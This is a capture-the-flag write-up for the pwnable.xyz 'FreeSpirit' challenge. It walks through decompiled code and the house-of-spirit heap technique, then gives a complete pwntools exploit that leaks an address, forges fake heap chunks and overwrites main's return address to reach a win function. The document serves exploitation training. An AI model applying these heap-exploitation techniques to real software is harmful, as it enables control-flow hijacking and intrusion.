Free Spirit

Freespirit pwnable.xyz called FreeSpirit, to explore the chall we need to conduct an house of spirit technique that will be discussed furthermore.

I started analyzing the binary with IDA dumping the pseudo C code to understand better the structure and behaviors of the ELF.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  __int64 i; // rcx
  int v5; // eax
  signed __int64 v6; // rax
  __m128i MALLOC_CHUNK; // [rsp+8h] [rbp-60h] BYREF
  char nptr[48]; // [rsp+18h] [rbp-50h] BYREF
  unsigned __int64 v10; // [rsp+48h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  MALLOC_CHUNK.m128i_i64[1] = (__int64)malloc(0x40uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      _printf_chk(1LL, "> ");
      v3 = nptr;
      for ( i = 12LL; i; --i )
      {
        *(_DWORD *)v3 = 0;
        v3 += 4;
      }
      read(0, nptr, 0x30uLL);
      v5 = atoi(nptr);
      if ( v5 != 1 )
        break;
      v6 = sys_read(0, (char *)MALLOC_CHUNK.m128i_i64[1], 0x20uLL);
    }
    if ( v5 <= 1 )
      break;
    if ( v5 == 2 )
    {
      _printf_chk(1LL, "%p\n", &MALLOC_CHUNK.m128i_u64[1]);
    }
    else if ( v5 == 3 )
    {
      if ( (unsigned int)limit <= 1 )
        MALLOC_CHUNK = _mm_loadu_si128((const __m128i *)MALLOC_CHUNK.m128i_i64[1]);
    }
    else
    {
LABEL_16:
      puts("Invalid");
    }
  }
  if ( v5 )
    goto LABEL_16;
  if ( !MALLOC_CHUNK.m128i_i64[1] )
    exit(1);
  free((void *)MALLOC_CHUNK.m128i_i64[1]);
  return 0;
}

We start looking the declaration of a malloc chunk in the first lines after variables declaration with 0x40 of size. The code flow enters in loop of execution handling the supported operation numbers [1,2,3]. If you chose number 1 a sys_read is executed with 0x20 of limit passed to the malloc_chunk. Note that we are working at the index 1(+8b) of the chunk.

read(0, nptr, 0x30uLL);
v5 = atoi(nptr);
if ( v5 != 1 )
	break;
----> v6 = sys_read(0, (char *)MALLOC_CHUNK.m128i_i64[1], 0x20uLL);

If the option 2 is choose, an address is leaked from the binary to use in the exploit chain.

    if ( v5 == 2 )
    {
      _printf_chk(1LL, "%p\n", &MALLOC_CHUNK.m128i_u64[1]);
    }

When the option 3 is executed a value of 128 bits is moved to (MALLOC_CHUNK[0] + [1]) from the data that we have written in the option 1.

else if ( v5 == 3 )
{
	if ( (unsigned int)limit <= 1 )
		MALLOC_CHUNK = _mm_loadu_si128((const __m128i *)MALLOC_CHUNK.m128i_i64[1]);
}

The last option left is 0, we can use this to call free to dealloc the chunk. Thinking in the options that we have, we control write data, the option 3 can be used to write address in the chunk pointer so if we move some address of the binary to this place, we will have an arbitrary write. The name of the binary is freespirit indicating that probably the technique used to explore is house of spirit. It consists in a technique to write data in a place that we have control, creating a fake chunk to possibly freeing it. How this options help us? Subscribe some return address (in this example we only have the main ret), create a fake chunk to match the free desires(if we use the options to write data, subscribe the RET as example, the malloc address will be corrupted and we will can’t free it).

Another important thing is that the binary implements the win function, so we only need to call this address.

The final coded is written in a way describing all the processes:

from pwn import *
import time

elf = ELF("./challenge")
p = process(elf.path)
#gdb.attach(p, gdbscript='''
#break * 0x00000000004008bd
#break * 0x000000000040088d
#break * 0x00000000004008e1
#break * 0x0000000000400889
#continue
#''')

def setOption(option):
    p.recvuntil(b"> ")
    p.sendline(option)

def sendCmd(option):
    p.send(option)

setOption(b"2")
leak_addr = int(p.recvline().decode(), 16)
win_addr = 0x0400a3e
writable_region = 0x601000
log.info(f"Leak addr [{hex(leak_addr)}]")

log.info("Set main ret address")
setOption(b"1")
# leak_addr+0x58 == main ret
sendCmd(b'B'*8 + p64(leak_addr+0x58))
setOption(b"3")

log.info("Write Win in return address and pass the writable region")
setOption(b"1")
sendCmd(p64(win_addr)+p64(writable_region+0x40))
setOption(b"3")

log.info("Create fake chunk size")
setOption(b"1")
sendCmd(p64(0x00)+p64(0x00)+p64(0x00)+p64(0x60))

log.info("Go up few addresses in writable region to write the second chunk")
setOption(b"1")
sendCmd(b'A'*8+p64(writable_region+0x60))
setOption(b"3")

log.info("Write second chunk values")
setOption(b"1")
time.sleep(1)
sendCmd(p64(0x10)+p64(0x60))

log.info("Call free")
setOption(b"0")

p.interactive()